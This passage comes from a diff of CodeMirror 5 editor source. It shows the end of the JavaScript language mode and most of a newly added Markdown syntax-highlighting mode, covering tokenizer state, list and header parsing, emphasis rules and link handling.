return lexical.indented + (isContinuedStatement(state, textAfter) ? statementIndent || indentUnit : 0);
|
||||
else if (lexical.info == "switch" && !closing && parserConfig.doubleIndentSwitch != false)
|
||||
return lexical.indented + (/^(?:case|default)\b/.test(textAfter) ? indentUnit : 2 * indentUnit);
|
||||
else if (lexical.align) return lexical.column + (closing ? 0 : 1);
|
||||
else return lexical.indented + (closing ? 0 : indentUnit);
|
||||
},
|
||||
|
||||
electricInput: /^\s*(?:case .*?:|default:|\{|\})$/,
|
||||
blockCommentStart: jsonMode ? null : "/*",
|
||||
blockCommentEnd: jsonMode ? null : "*/",
|
||||
blockCommentContinue: jsonMode ? null : " * ",
|
||||
lineComment: jsonMode ? null : "//",
|
||||
fold: "brace",
|
||||
closeBrackets: "()[]{}''\"\"``",
|
||||
|
||||
helperType: jsonMode ? "json" : "javascript",
|
||||
jsonldMode: jsonldMode,
|
||||
jsonMode: jsonMode,
|
||||
|
||||
expressionAllowed: expressionAllowed,
|
||||
|
||||
skipExpression: function(state) {
|
||||
parseJS(state, "atom", "atom", "true", new CodeMirror.StringStream("", 2, null))
|
||||
}
|
||||
};
|
||||
});
|
||||
|
||||
CodeMirror.registerHelper("wordChars", "javascript", /[\w$]/);
|
||||
|
||||
CodeMirror.defineMIME("text/javascript", "javascript");
|
||||
CodeMirror.defineMIME("text/ecmascript", "javascript");
|
||||
CodeMirror.defineMIME("application/javascript", "javascript");
|
||||
CodeMirror.defineMIME("application/x-javascript", "javascript");
|
||||
CodeMirror.defineMIME("application/ecmascript", "javascript");
|
||||
CodeMirror.defineMIME("application/json", { name: "javascript", json: true });
|
||||
CodeMirror.defineMIME("application/x-json", { name: "javascript", json: true });
|
||||
CodeMirror.defineMIME("application/manifest+json", { name: "javascript", json: true })
|
||||
CodeMirror.defineMIME("application/ld+json", { name: "javascript", jsonld: true });
|
||||
CodeMirror.defineMIME("text/typescript", { name: "javascript", typescript: true });
|
||||
CodeMirror.defineMIME("application/typescript", { name: "javascript", typescript: true });
|
||||
|
||||
});
|
||||
@@ -0,0 +1,886 @@
|
||||
// CodeMirror, copyright (c) by Marijn Haverbeke and others
|
||||
// Distributed under an MIT license: https://codemirror.net/5/LICENSE
|
||||
|
||||
(function(mod) {
|
||||
if (typeof exports == "object" && typeof module == "object") // CommonJS
|
||||
mod(require("../../lib/codemirror"), require("../xml/xml"), require("../meta"));
|
||||
else if (typeof define == "function" && define.amd) // AMD
|
||||
define(["../../lib/codemirror", "../xml/xml", "../meta"], mod);
|
||||
else // Plain browser env
|
||||
mod(CodeMirror);
|
||||
})(function(CodeMirror) {
|
||||
"use strict";
|
||||
|
||||
CodeMirror.defineMode("markdown", function(cmCfg, modeCfg) {
|
||||
|
||||
var htmlMode = CodeMirror.getMode(cmCfg, "text/html");
|
||||
var htmlModeMissing = htmlMode.name == "null"
|
||||
|
||||
function getMode(name) {
|
||||
if (CodeMirror.findModeByName) {
|
||||
var found = CodeMirror.findModeByName(name);
|
||||
if (found) name = found.mime || found.mimes[0];
|
||||
}
|
||||
var mode = CodeMirror.getMode(cmCfg, name);
|
||||
return mode.name == "null" ? null : mode;
|
||||
}
|
||||
|
||||
// Should characters that affect highlighting be highlighted separate?
|
||||
// Does not include characters that will be output (such as `1.` and `-` for lists)
|
||||
if (modeCfg.highlightFormatting === undefined)
|
||||
modeCfg.highlightFormatting = false;
|
||||
|
||||
// Maximum number of nested blockquotes. Set to 0 for infinite nesting.
|
||||
// Excess `>` will emit `error` token.
|
||||
if (modeCfg.maxBlockquoteDepth === undefined)
|
||||
modeCfg.maxBlockquoteDepth = 0;
|
||||
|
||||
// Turn on task lists? ("- [ ] " and "- [x] ")
|
||||
if (modeCfg.taskLists === undefined) modeCfg.taskLists = false;
|
||||
|
||||
// Turn on strikethrough syntax
|
||||
if (modeCfg.strikethrough === undefined)
|
||||
modeCfg.strikethrough = false;
|
||||
|
||||
if (modeCfg.emoji === undefined)
|
||||
modeCfg.emoji = false;
|
||||
|
||||
if (modeCfg.fencedCodeBlockHighlighting === undefined)
|
||||
modeCfg.fencedCodeBlockHighlighting = true;
|
||||
|
||||
if (modeCfg.fencedCodeBlockDefaultMode === undefined)
|
||||
modeCfg.fencedCodeBlockDefaultMode = 'text/plain';
|
||||
|
||||
if (modeCfg.xml === undefined)
|
||||
modeCfg.xml = true;
|
||||
|
||||
// Allow token types to be overridden by user-provided token types.
|
||||
if (modeCfg.tokenTypeOverrides === undefined)
|
||||
modeCfg.tokenTypeOverrides = {};
|
||||
|
||||
var tokenTypes = {
|
||||
header: "header",
|
||||
code: "comment",
|
||||
quote: "quote",
|
||||
list1: "variable-2",
|
||||
list2: "variable-3",
|
||||
list3: "keyword",
|
||||
hr: "hr",
|
||||
image: "image",
|
||||
imageAltText: "image-alt-text",
|
||||
imageMarker: "image-marker",
|
||||
formatting: "formatting",
|
||||
linkInline: "link",
|
||||
linkEmail: "link",
|
||||
linkText: "link",
|
||||
linkHref: "string",
|
||||
em: "em",
|
||||
strong: "strong",
|
||||
strikethrough: "strikethrough",
|
||||
emoji: "builtin"
|
||||
};
|
||||
|
||||
for (var tokenType in tokenTypes) {
|
||||
if (tokenTypes.hasOwnProperty(tokenType) && modeCfg.tokenTypeOverrides[tokenType]) {
|
||||
tokenTypes[tokenType] = modeCfg.tokenTypeOverrides[tokenType];
|
||||
}
|
||||
}
|
||||
|
||||
var hrRE = /^([*\-_])(?:\s*\1){2,}\s*$/
|
||||
, listRE = /^(?:[*\-+]|^[0-9]+([.)]))\s+/
|
||||
, taskListRE = /^\[(x| )\](?=\s)/i // Must follow listRE
|
||||
, atxHeaderRE = modeCfg.allowAtxHeaderWithoutSpace ? /^(#+)/ : /^(#+)(?: |$)/
|
||||
, setextHeaderRE = /^ {0,3}(?:\={1,}|-{2,})\s*$/
|
||||
, textRE = /^[^#!\[\]*_\\<>` "'(~:]+/
|
||||
, fencedCodeRE = /^(~~~+|```+)[ \t]*([\w\/+#-]*)[^\n`]*$/
|
||||
, linkDefRE = /^\s*\[[^\]]+?\]:.*$/ // naive link-definition
|
||||
, punctuation = /[!"#$%&'()*+,\-.\/:;<=>?@\[\\\]^_`{|}~\xA1\xA7\xAB\xB6\xB7\xBB\xBF\u037E\u0387\u055A-\u055F\u0589\u058A\u05BE\u05C0\u05C3\u05C6\u05F3\u05F4\u0609\u060A\u060C\u060D\u061B\u061E\u061F\u066A-\u066D\u06D4\u0700-\u070D\u07F7-\u07F9\u0830-\u083E\u085E\u0964\u0965\u0970\u0AF0\u0DF4\u0E4F\u0E5A\u0E5B\u0F04-\u0F12\u0F14\u0F3A-\u0F3D\u0F85\u0FD0-\u0FD4\u0FD9\u0FDA\u104A-\u104F\u10FB\u1360-\u1368\u1400\u166D\u166E\u169B\u169C\u16EB-\u16ED\u1735\u1736\u17D4-\u17D6\u17D8-\u17DA\u1800-\u180A\u1944\u1945\u1A1E\u1A1F\u1AA0-\u1AA6\u1AA8-\u1AAD\u1B5A-\u1B60\u1BFC-\u1BFF\u1C3B-\u1C3F\u1C7E\u1C7F\u1CC0-\u1CC7\u1CD3\u2010-\u2027\u2030-\u2043\u2045-\u2051\u2053-\u205E\u207D\u207E\u208D\u208E\u2308-\u230B\u2329\u232A\u2768-\u2775\u27C5\u27C6\u27E6-\u27EF\u2983-\u2998\u29D8-\u29DB\u29FC\u29FD\u2CF9-\u2CFC\u2CFE\u2CFF\u2D70\u2E00-\u2E2E\u2E30-\u2E42\u3001-\u3003\u3008-\u3011\u3014-\u301F\u3030\u303D\u30A0\u30FB\uA4FE\uA4FF\uA60D-\uA60F\uA673\uA67E\uA6F2-\uA6F7\uA874-\uA877\uA8CE\uA8CF\uA8F8-\uA8FA\uA8FC\uA92E\uA92F\uA95F\uA9C1-\uA9CD\uA9DE\uA9DF\uAA5C-\uAA5F\uAADE\uAADF\uAAF0\uAAF1\uABEB\uFD3E\uFD3F\uFE10-\uFE19\uFE30-\uFE52\uFE54-\uFE61\uFE63\uFE68\uFE6A\uFE6B\uFF01-\uFF03\uFF05-\uFF0A\uFF0C-\uFF0F\uFF1A\uFF1B\uFF1F\uFF20\uFF3B-\uFF3D\uFF3F\uFF5B\uFF5D\uFF5F-\uFF65]|\uD800[\uDD00-\uDD02\uDF9F\uDFD0]|\uD801\uDD6F|\uD802[\uDC57\uDD1F\uDD3F\uDE50-\uDE58\uDE7F\uDEF0-\uDEF6\uDF39-\uDF3F\uDF99-\uDF9C]|\uD804[\uDC47-\uDC4D\uDCBB\uDCBC\uDCBE-\uDCC1\uDD40-\uDD43\uDD74\uDD75\uDDC5-\uDDC9\uDDCD\uDDDB\uDDDD-\uDDDF\uDE38-\uDE3D\uDEA9]|\uD805[\uDCC6\uDDC1-\uDDD7\uDE41-\uDE43\uDF3C-\uDF3E]|\uD809[\uDC70-\uDC74]|\uD81A[\uDE6E\uDE6F\uDEF5\uDF37-\uDF3B\uDF44]|\uD82F\uDC9F|\uD836[\uDE87-\uDE8B]/
|
||||
, expandedTab = " " // CommonMark specifies tab as 4 spaces
|
||||
|
||||
function switchInline(stream, state, f) {
|
||||
state.f = state.inline = f;
|
||||
return f(stream, state);
|
||||
}
|
||||
|
||||
function switchBlock(stream, state, f) {
|
||||
state.f = state.block = f;
|
||||
return f(stream, state);
|
||||
}
|
||||
|
||||
function lineIsEmpty(line) {
|
||||
return !line || !/\S/.test(line.string)
|
||||
}
|
||||
|
||||
// Blocks
|
||||
|
||||
function blankLine(state) {
|
||||
// Reset linkTitle state
|
||||
state.linkTitle = false;
|
||||
state.linkHref = false;
|
||||
state.linkText = false;
|
||||
// Reset EM state
|
||||
state.em = false;
|
||||
// Reset STRONG state
|
||||
state.strong = false;
|
||||
// Reset strikethrough state
|
||||
state.strikethrough = false;
|
||||
// Reset state.quote
|
||||
state.quote = 0;
|
||||
// Reset state.indentedCode
|
||||
state.indentedCode = false;
|
||||
if (state.f == htmlBlock) {
|
||||
var exit = htmlModeMissing
|
||||
if (!exit) {
|
||||
var inner = CodeMirror.innerMode(htmlMode, state.htmlState)
|
||||
exit = inner.mode.name == "xml" && inner.state.tagStart === null &&
|
||||
(!inner.state.context && inner.state.tokenize.isInText)
|
||||
}
|
||||
if (exit) {
|
||||
state.f = inlineNormal;
|
||||
state.block = blockNormal;
|
||||
state.htmlState = null;
|
||||
}
|
||||
}
|
||||
// Reset state.trailingSpace
|
||||
state.trailingSpace = 0;
|
||||
state.trailingSpaceNewLine = false;
|
||||
// Mark this line as blank
|
||||
state.prevLine = state.thisLine
|
||||
state.thisLine = {stream: null}
|
||||
return null;
|
||||
}
|
||||
|
||||
function blockNormal(stream, state) {
|
||||
var firstTokenOnLine = stream.column() === state.indentation;
|
||||
var prevLineLineIsEmpty = lineIsEmpty(state.prevLine.stream);
|
||||
var prevLineIsIndentedCode = state.indentedCode;
|
||||
var prevLineIsHr = state.prevLine.hr;
|
||||
var prevLineIsList = state.list !== false;
|
||||
var maxNonCodeIndentation = (state.listStack[state.listStack.length - 1] || 0) + 3;
|
||||
|
||||
state.indentedCode = false;
|
||||
|
||||
var lineIndentation = state.indentation;
|
||||
// compute once per line (on first token)
|
||||
if (state.indentationDiff === null) {
|
||||
state.indentationDiff = state.indentation;
|
||||
if (prevLineIsList) {
|
||||
state.list = null;
|
||||
// While this list item's marker's indentation is less than the deepest
|
||||
// list item's content's indentation,pop the deepest list item
|
||||
// indentation off the stack, and update block indentation state
|
||||
while (lineIndentation < state.listStack[state.listStack.length - 1]) {
|
||||
state.listStack.pop();
|
||||
if (state.listStack.length) {
|
||||
state.indentation = state.listStack[state.listStack.length - 1];
|
||||
// less than the first list's indent -> the line is no longer a list
|
||||
} else {
|
||||
state.list = false;
|
||||
}
|
||||
}
|
||||
if (state.list !== false) {
|
||||
state.indentationDiff = lineIndentation - state.listStack[state.listStack.length - 1]
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// not comprehensive (currently only for setext detection purposes)
|
||||
var allowsInlineContinuation = (
|
||||
!prevLineLineIsEmpty && !prevLineIsHr && !state.prevLine.header &&
|
||||
(!prevLineIsList || !prevLineIsIndentedCode) &&
|
||||
!state.prevLine.fencedCodeEnd
|
||||
);
|
||||
|
||||
var isHr = (state.list === false || prevLineIsHr || prevLineLineIsEmpty) &&
|
||||
state.indentation <= maxNonCodeIndentation && stream.match(hrRE);
|
||||
|
||||
var match = null;
|
||||
if (state.indentationDiff >= 4 && (prevLineIsIndentedCode || state.prevLine.fencedCodeEnd ||
|
||||
state.prevLine.header || prevLineLineIsEmpty)) {
|
||||
stream.skipToEnd();
|
||||
state.indentedCode = true;
|
||||
return tokenTypes.code;
|
||||
} else if (stream.eatSpace()) {
|
||||
return null;
|
||||
} else if (firstTokenOnLine && state.indentation <= maxNonCodeIndentation && (match = stream.match(atxHeaderRE)) && match[1].length <= 6) {
|
||||
state.quote = 0;
|
||||
state.header = match[1].length;
|
||||
state.thisLine.header = true;
|
||||
if (modeCfg.highlightFormatting) state.formatting = "header";
|
||||
state.f = state.inline;
|
||||
return getType(state);
|
||||
} else if (state.indentation <= maxNonCodeIndentation && stream.eat('>')) {
|
||||
state.quote = firstTokenOnLine ? 1 : state.quote + 1;
|
||||
if (modeCfg.highlightFormatting) state.formatting = "quote";
|
||||
stream.eatSpace();
|
||||
return getType(state);
|
||||
} else if (!isHr && !state.setext && firstTokenOnLine && state.indentation <= maxNonCodeIndentation && (match = stream.match(listRE))) {
|
||||
var listType = match[1] ? "ol" : "ul";
|
||||
|
||||
state.indentation = lineIndentation + stream.current().length;
|
||||
state.list = true;
|
||||
state.quote = 0;
|
||||
|
||||
// Add this list item's content's indentation to the stack
|
||||
state.listStack.push(state.indentation);
|
||||
// Reset inline styles which shouldn't propagate across list items
|
||||
state.em = false;
|
||||
state.strong = false;
|
||||
state.code = false;
|
||||
state.strikethrough = false;
|
||||
|
||||
if (modeCfg.taskLists && stream.match(taskListRE, false)) {
|
||||
state.taskList = true;
|
||||
}
|
||||
state.f = state.inline;
|
||||
if (modeCfg.highlightFormatting) state.formatting = ["list", "list-" + listType];
|
||||
return getType(state);
|
||||
} else if (firstTokenOnLine && state.indentation <= maxNonCodeIndentation && (match = stream.match(fencedCodeRE, true))) {
|
||||
state.quote = 0;
|
||||
state.fencedEndRE = new RegExp(match[1] + "+ *$");
|
||||
// try switching mode
|
||||
state.localMode = modeCfg.fencedCodeBlockHighlighting && getMode(match[2] || modeCfg.fencedCodeBlockDefaultMode );
|
||||
if (state.localMode) state.localState = CodeMirror.startState(state.localMode);
|
||||
state.f = state.block = local;
|
||||
if (modeCfg.highlightFormatting) state.formatting = "code-block";
|
||||
state.code = -1
|
||||
return getType(state);
|
||||
// SETEXT has lowest block-scope precedence after HR, so check it after
|
||||
// the others (code, blockquote, list...)
|
||||
} else if (
|
||||
// if setext set, indicates line after ---/===
|
||||
state.setext || (
|
||||
// line before ---/===
|
||||
(!allowsInlineContinuation || !prevLineIsList) && !state.quote && state.list === false &&
|
||||
!state.code && !isHr && !linkDefRE.test(stream.string) &&
|
||||
(match = stream.lookAhead(1)) && (match = match.match(setextHeaderRE))
|
||||
)
|
||||
) {
|
||||
if ( !state.setext ) {
|
||||
state.header = match[0].charAt(0) == '=' ? 1 : 2;
|
||||
state.setext = state.header;
|
||||
} else {
|
||||
state.header = state.setext;
|
||||
// has no effect on type so we can reset it now
|
||||
state.setext = 0;
|
||||
stream.skipToEnd();
|
||||
if (modeCfg.highlightFormatting) state.formatting = "header";
|
||||
}
|
||||
state.thisLine.header = true;
|
||||
state.f = state.inline;
|
||||
return getType(state);
|
||||
} else if (isHr) {
|
||||
stream.skipToEnd();
|
||||
state.hr = true;
|
||||
state.thisLine.hr = true;
|
||||
return tokenTypes.hr;
|
||||
} else if (stream.peek() === '[') {
|
||||
return switchInline(stream, state, footnoteLink);
|
||||
}
|
||||
|
||||
return switchInline(stream, state, state.inline);
|
||||
}
|
||||
|
||||
function htmlBlock(stream, state) {
|
||||
var style = htmlMode.token(stream, state.htmlState);
|
||||
if (!htmlModeMissing) {
|
||||
var inner = CodeMirror.innerMode(htmlMode, state.htmlState)
|
||||
if ((inner.mode.name == "xml" && inner.state.tagStart === null &&
|
||||
(!inner.state.context && inner.state.tokenize.isInText)) ||
|
||||
(state.md_inside && stream.current().indexOf(">") > -1)) {
|
||||
state.f = inlineNormal;
|
||||
state.block = blockNormal;
|
||||
state.htmlState = null;
|
||||
}
|
||||
}
|
||||
return style;
|
||||
}
|
||||
|
||||
function local(stream, state) {
|
||||
var currListInd = state.listStack[state.listStack.length - 1] || 0;
|
||||
var hasExitedList = state.indentation < currListInd;
|
||||
var maxFencedEndInd = currListInd + 3;
|
||||
if (state.fencedEndRE && state.indentation <= maxFencedEndInd && (hasExitedList || stream.match(state.fencedEndRE))) {
|
||||
if (modeCfg.highlightFormatting) state.formatting = "code-block";
|
||||
var returnType;
|
||||
if (!hasExitedList) returnType = getType(state)
|
||||
state.localMode = state.localState = null;
|
||||
state.block = blockNormal;
|
||||
state.f = inlineNormal;
|
||||
state.fencedEndRE = null;
|
||||
state.code = 0
|
||||
state.thisLine.fencedCodeEnd = true;
|
||||
if (hasExitedList) return switchBlock(stream, state, state.block);
|
||||
return returnType;
|
||||
} else if (state.localMode) {
|
||||
return state.localMode.token(stream, state.localState);
|
||||
} else {
|
||||
stream.skipToEnd();
|
||||
return tokenTypes.code;
|
||||
}
|
||||
}
|
||||
|
||||
// Inline
|
||||
function getType(state) {
|
||||
var styles = [];
|
||||
|
||||
if (state.formatting) {
|
||||
styles.push(tokenTypes.formatting);
|
||||
|
||||
if (typeof state.formatting === "string") state.formatting = [state.formatting];
|
||||
|
||||
for (var i = 0; i < state.formatting.length; i++) {
|
||||
styles.push(tokenTypes.formatting + "-" + state.formatting[i]);
|
||||
|
||||
if (state.formatting[i] === "header") {
|
||||
styles.push(tokenTypes.formatting + "-" + state.formatting[i] + "-" + state.header);
|
||||
}
|
||||
|
||||
// Add `formatting-quote` and `formatting-quote-#` for blockquotes
|
||||
// Add `error` instead if the maximum blockquote nesting depth is passed
|
||||
if (state.formatting[i] === "quote") {
|
||||
if (!modeCfg.maxBlockquoteDepth || modeCfg.maxBlockquoteDepth >= state.quote) {
|
||||
styles.push(tokenTypes.formatting + "-" + state.formatting[i] + "-" + state.quote);
|
||||
} else {
|
||||
styles.push("error");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (state.taskOpen) {
|
||||
styles.push("meta");
|
||||
return styles.length ? styles.join(' ') : null;
|
||||
}
|
||||
if (state.taskClosed) {
|
||||
styles.push("property");
|
||||
return styles.length ? styles.join(' ') : null;
|
||||
}
|
||||
|
||||
if (state.linkHref) {
|
||||
styles.push(tokenTypes.linkHref, "url");
|
||||
} else { // Only apply inline styles to non-url text
|
||||
if (state.strong) { styles.push(tokenTypes.strong); }
|
||||
if (state.em) { styles.push(tokenTypes.em); }
|
||||
if (state.strikethrough) { styles.push(tokenTypes.strikethrough); }
|
||||
if (state.emoji) { styles.push(tokenTypes.emoji); }
|
||||
if (state.linkText) { styles.push(tokenTypes.linkText); }
|
||||
if (state.code) { styles.push(tokenTypes.code); }
|
||||
if (state.image) { styles.push(tokenTypes.image); }
|
||||
if (state.imageAltText) { styles.push(tokenTypes.imageAltText, "link"); }
|
||||
if (state.imageMarker) { styles.push(tokenTypes.imageMarker); }
|
||||
}
|
||||
|
||||
if (state.header) { styles.push(tokenTypes.header, tokenTypes.header + "-" + state.header); }
|
||||
|
||||
if (state.quote) {
|
||||
styles.push(tokenTypes.quote);
|
||||
|
||||
// Add `quote-#` where the maximum for `#` is modeCfg.maxBlockquoteDepth
|
||||
if (!modeCfg.maxBlockquoteDepth || modeCfg.maxBlockquoteDepth >= state.quote) {
|
||||
styles.push(tokenTypes.quote + "-" + state.quote);
|
||||
} else {
|
||||
styles.push(tokenTypes.quote + "-" + modeCfg.maxBlockquoteDepth);
|
||||
}
|
||||
}
|
||||
|
||||
if (state.list !== false) {
|
||||
var listMod = (state.listStack.length - 1) % 3;
|
||||
if (!listMod) {
|
||||
styles.push(tokenTypes.list1);
|
||||
} else if (listMod === 1) {
|
||||
styles.push(tokenTypes.list2);
|
||||
} else {
|
||||
styles.push(tokenTypes.list3);
|
||||
}
|
||||
}
|
||||
|
||||
if (state.trailingSpaceNewLine) {
|
||||
styles.push("trailing-space-new-line");
|
||||
} else if (state.trailingSpace) {
|
||||
styles.push("trailing-space-" + (state.trailingSpace % 2 ? "a" : "b"));
|
||||
}
|
||||
|
||||
return styles.length ? styles.join(' ') : null;
|
||||
}
|
||||
|
||||
function handleText(stream, state) {
|
||||
if (stream.match(textRE, true)) {
|
||||
return getType(state);
|
||||
}
|
||||
return undefined;
|
||||
}
|
||||
|
||||
function inlineNormal(stream, state) {
|
||||
var style = state.text(stream, state);
|
||||
if (typeof style !== 'undefined')
|
||||
return style;
|
||||
|
||||
if (state.list) { // List marker (*, +, -, 1., etc)
|
||||
state.list = null;
|
||||
return getType(state);
|
||||
}
|
||||
|
||||
if (state.taskList) {
|
||||
var taskOpen = stream.match(taskListRE, true)[1] === " ";
|
||||
if (taskOpen) state.taskOpen = true;
|
||||
else state.taskClosed = true;
|
||||
if (modeCfg.highlightFormatting) state.formatting = "task";
|
||||
state.taskList = false;
|
||||
return getType(state);
|
||||
}
|
||||
|
||||
state.taskOpen = false;
|
||||
state.taskClosed = false;
|
||||
|
||||
if (state.header && stream.match(/^#+$/, true)) {
|
||||
if (modeCfg.highlightFormatting) state.formatting = "header";
|
||||
return getType(state);
|
||||
}
|
||||
|
||||
var ch = stream.next();
|
||||
|
||||
// Matches link titles present on next line
|
||||
if (state.linkTitle) {
|
||||
state.linkTitle = false;
|
||||
var matchCh = ch;
|
||||
if (ch === '(') {
|
||||
matchCh = ')';
|
||||
}
|
||||
matchCh = (matchCh+'').replace(/([.?*+^\[\]\\(){}|-])/g, "\\$1");
|
||||
var regex = '^\\s*(?:[^' + matchCh + '\\\\]+|\\\\\\\\|\\\\.)' + matchCh;
|
||||
if (stream.match(new RegExp(regex), true)) {
|
||||
return tokenTypes.linkHref;
|
||||
}
|
||||
}
|
||||
|
||||
// If this block is changed, it may need to be updated in GFM mode
|
||||
if (ch === '`') {
|
||||
var previousFormatting = state.formatting;
|
||||
if (modeCfg.highlightFormatting) state.formatting = "code";
|
||||
stream.eatWhile('`');
|
||||
var count = stream.current().length
|
||||
if (state.code == 0 && (!state.quote || count == 1)) {
|
||||
state.code = count
|
||||
return getType(state)
|
||||
} else if (count == state.code) { // Must be exact
|
||||
var t = getType(state)
|
||||
state.code = 0
|
||||
return t
|
||||
} else {
|
||||
state.formatting = previousFormatting
|
||||
return getType(state)
|
||||
}
|
||||
} else if (state.code) {
|
||||
return getType(state);
|
||||
}
|
||||
|
||||
if (ch === '\\') {
|
||||
stream.next();
|
||||
if (modeCfg.highlightFormatting) {
|
||||
var type = getType(state);
|
||||
var formattingEscape = tokenTypes.formatting + "-escape";
|
||||
return type ? type + " " + formattingEscape : formattingEscape;
|
||||
}
|
||||
}
|
||||
|
||||
if (ch === '!' && stream.match(/\[[^\]]*\] ?(?:\(|\[)/, false)) {
|
||||
state.imageMarker = true;
|
||||
state.image = true;
|
||||
if (modeCfg.highlightFormatting) state.formatting = "image";
|
||||
return getType(state);
|
||||
}
|
||||
|
||||
if (ch === '[' && state.imageMarker && stream.match(/[^\]]*\](\(.*?\)| ?\[.*?\])/, false)) {
|
||||
state.imageMarker = false;
|
||||
state.imageAltText = true
|
||||
if (modeCfg.highlightFormatting) state.formatting = "image";
|
||||
return getType(state);
|
||||
}
|
||||
|
||||
if (ch === ']' && state.imageAltText) {
|
||||
if (modeCfg.highlightFormatting) state.formatting = "image";
|
||||
var type = getType(state);
|
||||
state.imageAltText = false;
|
||||
state.image = false;
|
||||
state.inline = state.f = linkHref;
|
||||
return type;
|
||||
}
|
||||
|
||||
if (ch === '[' && !state.image) {
|
||||
if (state.linkText && stream.match(/^.*?\]/)) return getType(state)
|
||||
state.linkText = true;
|
||||
if (modeCfg.highlightFormatting) state.formatting = "link";
|
||||
return getType(state);
|
||||
}
|
||||
|
||||
if (ch === ']' && state.linkText) {
|
||||
if (modeCfg.highlightFormatting) state.formatting = "link";
|
||||
var type = getType(state);
|
||||
state.linkText = false;
|
||||
state.inline = state.f = stream.match(/\(.*?\)| ?\[.*?\]/, false) ? linkHref : inlineNormal
|
||||
return type;
|
||||
}
|
||||
|
||||
if (ch === '<' && stream.match(/^(https?|ftps?):\/\/(?:[^\\>]|\\.)+>/, false)) {
|
||||
state.f = state.inline = linkInline;
|
||||
if (modeCfg.highlightFormatting) state.formatting = "link";
|
||||
var type = getType(state);
|
||||
if (type){
|
||||
type += " ";
|
||||
} else {
|
||||
type = "";
|
||||
}
|
||||
return type + tokenTypes.linkInline;
|
||||
}
|
||||
|
||||
if (ch === '<' && stream.match(/^[^> \\]+@(?:[^\\>]|\\.)+>/, false)) {
|
||||
state.f = state.inline = linkInline;
|
||||
if (modeCfg.highlightFormatting) state.formatting = "link";
|
||||
var type = getType(state);
|
||||
if (type){
|
||||
type += " ";
|
||||
} else {
|
||||
type = "";
|
||||
}
|
||||
return type + tokenTypes.linkEmail;
|
||||
}
|
||||
|
||||
if (modeCfg.xml && ch === '<' && stream.match(/^(!--|\?|!\[CDATA\[|[a-z][a-z0-9-]*(?:\s+[a-z_:.\-]+(?:\s*=\s*[^>]+)?)*\s*(?:>|$))/i, false)) {
|
||||
var end = stream.string.indexOf(">", stream.pos);
|
||||
if (end != -1) {
|
||||
var atts = stream.string.substring(stream.start, end);
|
||||
if (/markdown\s*=\s*('|"){0,1}1('|"){0,1}/.test(atts)) state.md_inside = true;
|
||||
}
|
||||
stream.backUp(1);
|
||||
state.htmlState = CodeMirror.startState(htmlMode);
|
||||
return switchBlock(stream, state, htmlBlock);
|
||||
}
|
||||
|
||||
if (modeCfg.xml && ch === '<' && stream.match(/^\/\w*?>/)) {
|
||||
state.md_inside = false;
|
||||
return "tag";
|
||||
} else if (ch === "*" || ch === "_") {
|
||||
var len = 1, before = stream.pos == 1 ? " " : stream.string.charAt(stream.pos - 2)
|
||||
while (len < 3 && stream.eat(ch)) len++
|
||||
var after = stream.peek() || " "
|
||||
// See http://spec.commonmark.org/0.27/#emphasis-and-strong-emphasis
|
||||
var leftFlanking = !/\s/.test(after) && (!punctuation.test(after) || /\s/.test(before) || punctuation.test(before))
|
||||
var rightFlanking = !/\s/.test(before) && (!punctuation.test(before) || /\s/.test(after) || punctuation.test(after))
|
||||
var setEm = null, setStrong = null
|
||||
if (len % 2) { // Em
|
||||
if (!state.em && leftFlanking && (ch === "*" || !rightFlanking || punctuation.test(before)))
|
||||
setEm = true
|
||||
else if (state.em == ch && rightFlanking && (ch === "*" || !leftFlanking || punctuation.test(after)))
|
||||
setEm = false
|
||||
}
|
||||
if (len > 1) { // Strong
|
||||
if (!state.strong && leftFlanking && (ch === "*" || !rightFlanking || punctuation.test(before)))
|
||||
setStrong = true
|
||||
else if (state.strong == ch && rightFlanking && (ch === "*" || !leftFlanking || punctuation.test(after)))
|
||||
setStrong = false
|
||||
}
|
||||
if (setStrong != null || setEm != null) {
|
||||
if (modeCfg.highlightFormatting) state.formatting = setEm == null ? "strong" : setStrong == null ? "em" : "strong em"
|
||||
if (setEm === true) state.em = ch
|
||||
if (setStrong === true) state.strong = ch
|
||||
var t = getType(state)
|
||||
if (setEm === false) state.em = false
|
||||
if (setStrong === false) state.strong = false
|
||||
return t
|
||||
}
|
||||
} else if (ch === ' ') {
|
||||
if (stream.eat('*') || stream.eat('_')) { // Probably surrounded by spaces
|
||||
if (stream.peek() === ' ') { // Surrounded by spaces, ignore
|
||||
return getType(state);
|
||||
} else { // Not surrounded by spaces, back up pointer
|
||||
stream.backUp(1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (modeCfg.strikethrough) {
|
||||
if (ch === '~' && stream.eatWhile(ch)) {
|
||||
if (state.strikethrough) {// Remove strikethrough
|
||||
if (modeCfg.highlightFormatting) state.formatting = "strikethrough";
|
||||
var t = getType(state);
|
||||
state.strikethrough = false;
|
||||
return t;
|
||||
} else if (stream.match(/^[^\s]/, false)) {// Add strikethrough
|
||||
state.strikethrough = true;
|
||||
if (modeCfg.highlightFormatting) state.formatting = "strikethrough";
|
||||
return getType(state);
|
||||
}
|
||||
} else if (ch === ' ') {
|
||||
if (stream.match('~~', true)) { // Probably surrounded by space
|
||||
if (stream.peek() === ' ') { // Surrounded by spaces, ignore
|
||||
return getType(state);
|
||||
} else { // Not surrounded by spaces, back up pointer
|
||||
stream.backUp(2);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (modeCfg.emoji && ch === ":" && stream.match(/^(?:[a-z_\d+][a-z_\d+-]*|\-[a-z_\d+][a-z_\d+-]*):/)) {
|
||||
state.emoji = true;
|
||||
if (modeCfg.highlightFormatting) state.formatting = "emoji";
|
||||
var retType = getType(state);
|
||||
state.emoji = false;
|
||||
return retType;
|
||||
}
|
||||
|
||||
if (ch === ' ') {
|
||||
if (stream.match(/^ +$/, false)) {
|
||||
state.trailingSpace++;
|
||||
} else if (state.trailingSpace) {
|
||||
state.trailingSpaceNewLine = true;
|
||||
}
|
||||
}
|
||||
|
||||
return getType(state);
|
||||
}
|
||||
|
||||
function linkInline(stream, state) {
|
||||
var ch = stream.next();
|
||||
|
||||
if (ch === ">") {
|
||||
state.f = state.inline = inlineNormal;
|
||||
if (modeCfg.highlightFormatting) state.formatting = "link";
|
||||
var type = getType(state);
|
||||
if (type){
|
||||
type += " ";
|
||||
} else {
|
||||
type = "";
|
||||
}
|
||||
return type + tokenTypes.linkInline;
|
||||
}
|
||||
|
||||
